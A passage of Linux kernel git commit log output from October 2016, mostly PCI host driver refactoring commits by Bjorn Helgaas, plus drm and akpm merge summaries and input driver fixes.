2016 -0500 PCI: keystone: Add app register accessors Add device-specific register accessors for consistency across host drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone-dw.c | 72 ++++++++++++++++++++++---------------- 1 file changed, 41 insertions(+), 31 deletions(-) commit e481e0d00d8ba246fcf45e2bd13c91ee7b6677d8 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:57 2016 -0500 PCI: keystone: Pass keystone_pcie, not va_app_base, to DBI functions Instead of passing ks_pcie->va_app_base to DBI mode functions, pass the struct keystone_pcie. This will allow them to use register accessors. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone-dw.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 5649e4ced9671e01bdb1f50b2b5987d44c9a6d3d Author: Bjorn Helgaas Date: Thu Oct 6 13:36:56 2016 -0500 PCI: keystone: Pass keystone_pcie, not address, to IRQ functions Instead of passing the application register base to IRQ functions, pass the struct keystone_pcie. This will allow them to use register accessors. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone-dw.c | 15 ++++++++------- drivers/pci/host/pci-keystone.c | 5 ++--- drivers/pci/host/pci-keystone.h | 5 ++--- 3 files changed, 12 insertions(+), 13 deletions(-) commit f3eca6c4f42dc2dc057d6ef5d7dae1a5307f4f9f Author: Bjorn Helgaas Date: Thu Oct 6 13:36:57 2016 -0500 PCI: keystone: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the keystone driver. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone-dw.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 21fa0c51f02fcff8761b6ed1d47b579f3f436135 Author: Bjorn Helgaas Date: Tue Oct 11 22:48:42 2016 -0500 PCI: keystone: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone-dw.c | 19 +++++++++++-------- drivers/pci/host/pci-keystone.c | 23 +++++++++++++---------- 2 files changed, 24 insertions(+), 18 deletions(-) commit e3a1698b1e7776fbb3304dfd68db1d1ac18f85c0 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:07 2016 -0500 PCI: iproc: Hard-code PCIe capability offset instead of searching We know where the PCIe capability lives in the host bridge's config space; in fact, we already hard-coded the offset of the Link Control 2 register. The hard-coded Link Control 2 offset was 0xdc. Link Control 2 is at offset 0x30 into the PCIe capability, so the capability itself must be at 0xdc - 0x30 = 0xac. Hard-code the PCIe capability offset, which means we don't have to search for it and we can use the standard definitions for registers within the capability. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-iproc.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 6d76833c5223348dc8fddaa31584d923cae2a566 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:08 2016 -0500 PCI: iproc: Remove redundant null pointer checking The callers never pass a null "pcie" pointer (they check for kzalloc failure), so we don't need to check here. The bus driver should never call the probe function with a null ->dev pointer, so we don't need to check that either. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-iproc.c | 3 --- 1 file changed, 3 deletions(-) commit f66e5b290796aeb6c5e027506175c87978f2722a Author: Bjorn Helgaas Date: Thu Oct 6 13:36:07 2016 -0500 PCI: iproc: Validate CSR base in BCMA setup code Validate iproc_pcie->base for BCMA devices just like we already do for platform devices in iproc_pcie_pltfm_probe(). No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-iproc-bcma.c | 5 +++++ drivers/pci/host/pcie-iproc.c | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) commit 556c7bb7df367ada8833c9d78df48943e4826413 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:08 2016 -0500 PCI: iproc: Set drvdata at end of probe function Set the drvdata pointer at the end of probe function for consistency with other drivers. We don't need the drvdata until after the probe completes, and we don't need it at all if the probe fails. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-iproc-bcma.c | 2 +- drivers/pci/host/pcie-iproc-platform.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 786aeccb4ac65b2071d2f790b4957819c389c9a9 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:08 2016 -0500 PCI: iproc: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-iproc-bcma.c | 7 ++++--- drivers/pci/host/pcie-iproc-platform.c | 25 +++++++++++----------- drivers/pci/host/pcie-iproc.c | 38 +++++++++++++++++++--------------- 3 files changed, 38 insertions(+), 32 deletions(-) commit 9ab021b6cf8b5bfc40ea9333c9b64b554fe01cd4 Author: Bjorn Helgaas Date: Thu Oct 6 13:35:17 2016 -0500 PCI: imx6: Remove unused return values Remove unused return values. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 916bf1cc6528618197cdaf05ad42a9a82e9dea04 Author: Bjorn Helgaas Date: Thu Oct 6 13:35:17 2016 -0500 PCI: imx6: Reorder struct imx6_pcie Reorder struct imx6_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2a6a85d5368e55e506abd7ca79f08131028bb0bc Author: Bjorn Helgaas Date: Tue Oct 11 22:18:26 2016 -0500 PCI: imx6: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the imx6 driver. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 67 ++++++++++++++++++++++----------------------- 1 file changed, 33 insertions(+), 34 deletions(-) commit e7d7705ace9494949863848ec77536d5a3287b0a Author: Bjorn Helgaas Date: Tue Oct 11 22:06:47 2016 -0500 PCI: imx6: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 57 ++++++++++++++++++++++----------------------- 1 file changed, 28 insertions(+), 29 deletions(-) commit 8bad7f2fc3006d1752c426343ca77f1fbe61cf00 Author: Bjorn Helgaas Date: Tue Oct 11 22:09:32 2016 -0500 PCI: imx6: Pass struct imx6_pcie to PHY accessors Pass the struct imx6_pcie pointer, not dbi_base address, to PHY accessors. This enables future simplifications. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 41 +++++++++++++++++++++++------------------ 1 file changed, 23 insertions(+), 18 deletions(-) commit 51c84709b8c4065fe83b84a487fe7822c2271e77 Author: Bjorn Helgaas Date: Thu Oct 6 13:35:17 2016 -0500 PCI: imx6: Removed unused struct imx6_pcie.mem_base Removed the unused struct imx6_pcie.mem_base member. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 1 - 1 file changed, 1 deletion(-) commit c5af40747c0044a974b9b0d24530b84429f5dce9 Author: Bjorn Helgaas Date: Thu Oct 6 13:35:18 2016 -0500 PCI: imx6: Remove redundant of_node pointer "np" and "node" are redundant copies of the of_node pointer. Remove "np" and use "node" instead. Replace the "fsl,max-link-speed" use with "node" as well. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 13957652f7242a8cb02ffb8c96f412f62c486ee1 Author: Bjorn Helgaas Date: Thu Oct 6 13:35:18 2016 -0500 PCI: imx6: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-imx6.c | 79 ++++++++++++++++++++++++--------------------- 1 file changed, 42 insertions(+), 37 deletions(-) commit 4368f096c4acb7252503661e8402203c4075fdb7 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:24 2016 -0500 PCI: hisi: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the hisi driver. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 29 ++++++++--------------------- 1 file changed, 8 insertions(+), 21 deletions(-) commit 761c43c73554d871cf3dae79b1881b56adcbc6f5 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:23 2016 -0500 PCI: hisi: Remove redundant struct hisi_pcie.reg_base Remove the struct hisi_pcie.reg_base member, which is a duplicate of the generic pp.dbi_base member. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit bf4ed37cbb3eeecd7007efdce9ce37983f72e45c Author: Bjorn Helgaas Date: Tue Oct 11 21:40:32 2016 -0500 PCI: hisi: Name private struct pointer "hisi_pcie" consistently Most struct hisi_pcie pointers are already called "hisi_pcie". Change the rest of them to match. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit d5d4f6e4237aaa2bc2347d68e0ba297f884f464f Author: Bjorn Helgaas Date: Thu Oct 6 13:34:25 2016 -0500 PCI: hisi: Remove unused platform data The hisi driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 2 -- 1 file changed, 2 deletions(-) commit 88790f99c75cb7d32e1d981b223de01a06d55eb6 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:25 2016 -0500 PCI: hisi: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit 6b1f185a5f0705694b23bbc5af588db957f90d95 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:40 2016 -0500 PCI: exynos: Reorder struct exynos_pcie Reorder struct exynos_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit cc08e82b854c332d506a5e84ef8feca85d98b436 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:39 2016 -0500 PCI: exynos: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 132 +++++++++++++++++++----------------------- 1 file changed, 58 insertions(+), 74 deletions(-) commit 10284bfa347815fcce3f7133860fb9570576f8ab Author: Bjorn Helgaas Date: Thu Oct 6 13:33:39 2016 -0500 PCI: exynos: Name private struct pointer "exynos_pcie" consistently Most struct exynos_pcie pointers are already called "exynos_pcie". Change the rest of them to match. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 53e5bff16f82ea4326102e668e0e91b3ab4129ba Author: Bjorn Helgaas Date: Mon Oct 10 07:50:07 2016 -0500 PCI: exynos: Uninline register accessors The register accessors are not performance critical and are small enough that the compiler can inline them itself if it makes sense. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit fae68d690df573ab5c5e61f8a792fb426073a852 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:41 2016 -0500 PCI: exynos: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 46 ++++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 22 deletions(-) commit 150645b9434892ef9edc1089c88919db9d356b66 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:06 2016 -0500 PCI: dra7xx: Move struct pcie_port setup to probe function Do the basic pcie_port setup in the probe function for consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 21baa1c49888f0f0662b0ac83f9c6b530f9fdfeb Author: Bjorn Helgaas Date: Thu Oct 6 13:33:05 2016 -0500 PCI: dra7xx: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit feeb720180e53e2d4e48b1284344c12a3e370867 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:06 2016 -0500 PCI: dra7xx: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the dra7xx driver. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit 03fa2ae184c3fff47bc455a4a176384e65b9c303 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:07 2016 -0500 PCI: dra7xx: Set drvdata at end of probe function Set the drvdata pointer at the end of probe function for consistency with other drivers. We don't need the drvdata until after the probe completes, and we don't need it at all if the probe fails. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 01856d1de4757f940e71bf7fddf01ae39e078121 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:05 2016 -0500 PCI: dra7xx: Remove redundant struct device pointer from dra7xx_pcie The DesignWare core already stores the struct device pointer in struct pcie_port. Remove the redundant copy from struct dra7xx_pcie.dev. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 2 -- 1 file changed, 2 deletions(-) commit c7f8146b7c56f7da50fe6947692719a5cb876aff Author: Bjorn Helgaas Date: Thu Oct 6 13:33:06 2016 -0500 PCI: dra7xx: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) commit 7c62efcfc61913b7b18b1aa3d5c5cf3c06d95cdb Author: Bjorn Helgaas Date: Thu Oct 6 13:30:56 2016 -0500 PCI: artpec6: Add resource name comments Add comments about the Device Tree source of resources. No functional change. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b6f5f434f079eb6dd3fe105d6dbc00a361df86fe Author: Bjorn Helgaas Date: Thu Oct 6 13:30:56 2016 -0500 PCI: artpec6: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) commit acaa88e4e21f737c270892c31b4846a5d11b3b49 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:56 2016 -0500 PCI: artpec6: Remove unnecessary artpec6_pcie_link_up() Remove artpec6_pcie_link_up(); the generic dw_pcie_link_up() does the same thing, so we don't need a device-specific version. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 16 ---------------- 1 file changed, 16 deletions(-) commit 0d93f8d17e33e8956c69e01e6b3fe465f38fd5f9 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:57 2016 -0500 PCI: artpec6: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the armada8k driver. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 26fbcc5a45256e50788d2cc434da4dfb3e3636e9 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:56 2016 -0500 PCI: artpec6: Add register accessors Add device-specific register accessors for consistency across host drivers. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 43 +++++++++++++++++++++++++++-------------- 1 file changed, 28 insertions(+), 15 deletions(-) commit f392bd11e6aebcfeefc5fef1ec1ecc8432f75ae0 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:57 2016 -0500 PCI: artpec6: Remove unused platform data The artpec6 driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 1 - 1 file changed, 1 deletion(-) commit e6f3115f5836eeffdf81792a3e8092f1085031a7 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:57 2016 -0500 PCI: artpec6: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Jesper Nilsson drivers/pci/host/pcie-artpec6.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit a477815f89542e68b115128d375b6a57e93e1655 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:00 2016 -0500 PCI: armada: Reorder struct armada8k_pcie Reorder the device-specific struct to put the DesignWare generic struct pcie_port first. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pcie-armada8k.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b2d6fd77d7f1df6a42e544b284ad3112dc401817 Author: Bjorn Helgaas Date: Thu Oct 6 13:30:00 2016 -0500 PCI: armada: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pcie-armada8k.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 76876957ef492d0e97b667ab370b18a72cdc1c77 Author: Bjorn Helgaas Date: Tue Oct 11 20:15:11 2016 -0500 PCI: armada: Use generic DesignWare accessors The dw_pcie_readl_rc() and dw_pcie_writel_rc() interfaces already add in pp->dbi_base, so use those instead of doing it ourselves in the armada8k driver. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-armada8k.c | 40 +++++++++++++++++----------------------- 1 file changed, 17 insertions(+), 23 deletions(-) commit 74e69079e2e81f656ef6a17e98f5b597b9b3f9bd Author: Bjorn Helgaas Date: Thu Oct 6 13:29:59 2016 -0500 PCI: armada: Remove redundant struct armada8k_pcie.base The struct armada8k_pcie.base pointer is always a constant offset from struct pcie_port.dbi_base. Encode that offset in the register macros so we don't need to maintain the armada8k_pcie.base pointer. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pcie-armada8k.c | 25 +++++++++++-------------- 1 file changed, 11 insertions(+), 14 deletions(-) commit 6b25e21fa6f26d0f0d45f161d169029411c84286 Merge: a379f71 69405d3 Author: Linus Torvalds Date: Tue Oct 11 18:12:22 2016 -0700 Merge tag 'drm-for-v4.9' of git://people.freedesktop.org/~airlied/linux Pull drm updates from Dave Airlie: "Core: - Fence destaging work - DRIVER_LEGACY to split off legacy drm drivers - drm_mm refactoring - Splitting drm_crtc.c into chunks and documenting better - Display info fixes - rbtree support for prime buffer lookup - Simple VGA DAC driver Panel: - Add Nexus 7 panel - More simple panels i915: - Refactoring GEM naming - Refactored vma/active tracking - Lockless request lookups - Better stolen memory support - FBC fixes - SKL watermark fixes - VGPU improvements - dma-buf fencing support - Better DP dongle support amdgpu: - Powerplay for Iceland asics - Improved GPU reset support - UVD/VEC powergating support for CZ/ST - Preinitialised VRAM buffer support - Virtual display support - Initial SI support - GTT rework - PCI shutdown callback support - HPD IRQ storm fixes amdkfd: - bugfixes tilcdc: - Atomic modesetting support mediatek: - AAL + GAMMA engine support - Hook up gamma LUT - Temporal dithering support imx: - Pixel clock from devicetree - drm bridge support for LVDS bridges - active plane reconfiguration - VDIC deinterlacer support - Frame synchronisation unit support - Color space conversion support analogix: - PSR support - Better panel on/off support rockchip: - rk3399 vop/crtc support - PSR support vc4: - Interlaced vblank timing - 3D rendering CPU overhead reduction - HDMI output fixes tda998x: - HDMI audio ASoC support sunxi: - Allwinner A33 support - better TCON support msm: - DT binding cleanups - Explicit fence-fd support sti: - remove sti415/416 support etnaviv: - MMUv2 refactoring - GC3000 support exynos: - Refactoring HDMI DCC/PHY - G2D pm regression fix - Page fault issues with wait for vblank There is no nouveau work in this tree, as Ben didn't get a pull request in, and he was fighting moving to atomic and adding mst support, so maybe best it waits for a cycle" * tag 'drm-for-v4.9' of git://people.freedesktop.org/~airlied/linux: (1412 commits) drm/crtc: constify drm_crtc_index parameter drm/i915: Fix conflict resolution from backmerge of v4.8-rc8 to drm-next drm/i915/guc: Unwind GuC workqueue reservation if request construction fails drm/i915: Reset the breadcrumbs IRQ more carefully drm/i915: Force relocations via cpu if we run out of idle aperture drm/i915: Distinguish last emitted request from last submitted request drm/i915: Allow DP to work w/o EDID drm/i915: Move long hpd handling into the hotplug work drm/i915/execlists: Reinitialise context image after GPU hang drm/i915: Use correct index for backtracking HUNG semaphores drm/i915: Unalias obj->phys_handle and obj->userptr drm/i915: Just clear the mmiodebug before a register access drm/i915/gen9: only add the planes actually affected by ddb changes drm/i915: Allow PCH DPLL sharing regardless of DPLL_SDVO_HIGH_SPEED drm/i915/bxt: Fix HDMI DPLL configuration drm/i915/gen9: fix the watermark res_blocks value drm/i915/gen9: fix plane_blocks_per_line on watermarks calculations drm/i915/gen9: minimum scanlines for Y tile is not always 4 drm/i915/gen9: fix the WaWmMemoryReadLatency implementation drm/i915/kbl: KBL also needs to run the SAGV code ... commit afb374f8ac0715ff10e580e8d83c206dc4b7017e Author: Bjorn Helgaas Date: Tue Oct 11 20:11:23 2016 -0500 PCI: armada: Add local base pointer Add a local "base" pointer, as is done for other uses, to simplify a subsequent patch. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-armada8k.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e4aea9c4adbdf920128d00d9c20c03a405df149c Author: Bjorn Helgaas Date: Thu Oct 6 13:30:01 2016 -0500 PCI: armada: Remove unused platform data The armada driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pcie-armada8k.c | 1 - 1 file changed, 1 deletion(-) commit 4f276288617d4eca0b720e11ca6da68cc27c7cde Author: Bjorn Helgaas Date: Thu Oct 6 13:29:02 2016 -0500 PCI: altera: Simplify TLP_CFG_DW1 usage TLP_CFG_DW1() was only used with altera->root_bus_nr and RP_DEVFN, so encode that directly into the macro so we don't have to clutter the uses with the TLP_REQ_ID() usage. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit eb5767122feba117bbc4735b63831857e8153d36 Author: Bjorn Helgaas Date: Thu Oct 6 13:29:01 2016 -0500 PCI: altera: Simplify TLB_CFG_DW0 usage All TLP_CFG_DW0() uses follow the same pattern based on the root bus number, so pull that into the macro itself to declutter the users. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) commit 14c7b9580f9179d4f71980dab1d5c5c63f6eb0d6 Author: Bjorn Helgaas Date: Thu Oct 6 13:29:03 2016 -0500 PCI: altera: Rename altera_pcie_valid_config() to altera_pcie_valid_device() Rename altera_pcie_valid_config() to altera_pcie_valid_device(). No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit dbeb4bd8bae584408ce7e09b29510e2b5cb85bbb Author: Bjorn Helgaas Date: Thu Oct 6 13:29:02 2016 -0500 PCI: altera: Remove redundant platform_get_resource() return value check devm_ioremap_resource() fails gracefully when given a NULL resource pointer, so we don't need to check separately for failure from platform_get_resource_byname(). Remove the redundant check. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit ee34264eec4838e336e0af756e6ec84d5159ee41 Author: Bjorn Helgaas Date: Thu Oct 6 13:29:03 2016 -0500 PCI: altera: Remove unused platform data The altera driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 2 -- 1 file changed, 2 deletions(-) commit fe4906778ce295e10f9c3f42071aad4895f12fbe Author: Bjorn Helgaas Date: Tue Oct 11 19:50:52 2016 -0500 PCI: altera: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 34 ++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) commit f2ab1bbaf58e7d1549a4612071f112b88f217b17 Author: Bjorn Helgaas Date: Thu Oct 6 13:27:46 2016 -0500 PCI: aardvark: Remove unused platform data The aardvark driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pci-aardvark.c | 1 - 1 file changed, 1 deletion(-) commit 9aec2feaf787a766f802172e9021c7422029bc64 Author: Bjorn Helgaas Date: Thu Oct 6 13:27:46 2016 -0500 PCI: aardvark: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pci-aardvark.c | 38 ++++++++++++++++++++------------------ 1 file changed, 20 insertions(+), 18 deletions(-) commit a379f71a30dddbd2e7393624e455ce53c87965d1 Merge: de34f4d 9c5d760 Author: Linus Torvalds Date: Tue Oct 11 17:34:10 2016 -0700 Merge branch 'akpm' (patches from Andrew) Merge more updates from Andrew Morton: - a few block updates that fell in my lap - lib/ updates - checkpatch - autofs - ipc - a ton of misc other things * emailed patches from Andrew Morton : (100 commits) mm: split gfp_mask and mapping flags into separate fields fs: use mapping_set_error instead of opencoded set_bit treewide: remove redundant #include hung_task: allow hung_task_panic when hung_task_warnings is 0 kthread: add kerneldoc for kthread_create() kthread: better support freezable kthread workers kthread: allow to modify delayed kthread work kthread: allow to cancel kthread work kthread: initial support for delayed kthread work kthread: detect when a kthread work is used by more workers kthread: add kthread_destroy_worker() kthread: add kthread_create_worker*() kthread: allow to call __kthread_create_on_node() with va_list args kthread/smpboot: do not park in kthread_create_on_cpu() kthread: kthread worker API cleanup kthread: rename probe_kthread_data() to kthread_probe_data() scripts/tags.sh: enable code completion in VIM mm: kmemleak: avoid using __va() on addresses that don't have a lowmem mapping kdump, vmcoreinfo: report memory sections virtual addresses ipc/sem.c: add cond_resched in exit_sme ... commit 930e19248e9b61da36c967687ca79c4d5f977919 Author: Marcos Paulo de Souza Date: Sat Oct 1 12:07:35 2016 -0700 Input: i8042 - skip selftest on ASUS laptops On suspend/resume cycle, selftest is executed to reset i8042 controller. But when this is done in Asus devices, subsequent calls to detect/init functions to elantech driver fails. Skipping selftest fixes this problem. An easier step to reproduce this problem is adding i8042.reset=1 as a kernel parameter. On Asus laptops, it'll make the system to start with the touchpad already stuck, since psmouse_probe forcibly calls the selftest function. This patch was inspired by John Hiesey's change[1], but, since this problem affects a lot of models of Asus, let's avoid running selftests on them. All models affected by this problem: A455LD K401LB K501LB K501LX R409L V502LX X302LA X450LCP X450LD X455LAB X455LDB X455LF Z450LA [1]: https://marc.info/?l=linux-input&m=144312209020616&w=2 Fixes: "ETPS/2 Elantech Touchpad dies after resume from suspend" (https://bugzilla.kernel.org/show_bug.cgi?id=107971) Signed-off-by: Marcos Paulo de Souza Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Documentation/kernel-parameters.txt | 9 +++- drivers/input/serio/i8042-io.h | 2 +- drivers/input/serio/i8042-ip22io.h | 2 +- drivers/input/serio/i8042-ppcio.h | 2 +- drivers/input/serio/i8042-sparcio.h | 2 +- drivers/input/serio/i8042-unicore32io.h | 2 +- drivers/input/serio/i8042-x86ia64io.h | 96 +++++++++++++++++++++++++++++++-- drivers/input/serio/i8042.c | 55 +++++++++++++++---- 8 files changed, 150 insertions(+), 20 deletions(-) commit 4e1bff07d7e7bc9fc3fc62100dcb8f708e1e96d2 Author: Sangwon Jee Date: Fri Sep 30 15:38:47 2016 -0700 Input: melfas_mip4 - add ic_name sysfs attribute Add ic_name sysfs attribute for retrieving IC model name. Signed-off-by: Sangwon Jee Signed-off-by: Dmitry Torokhov 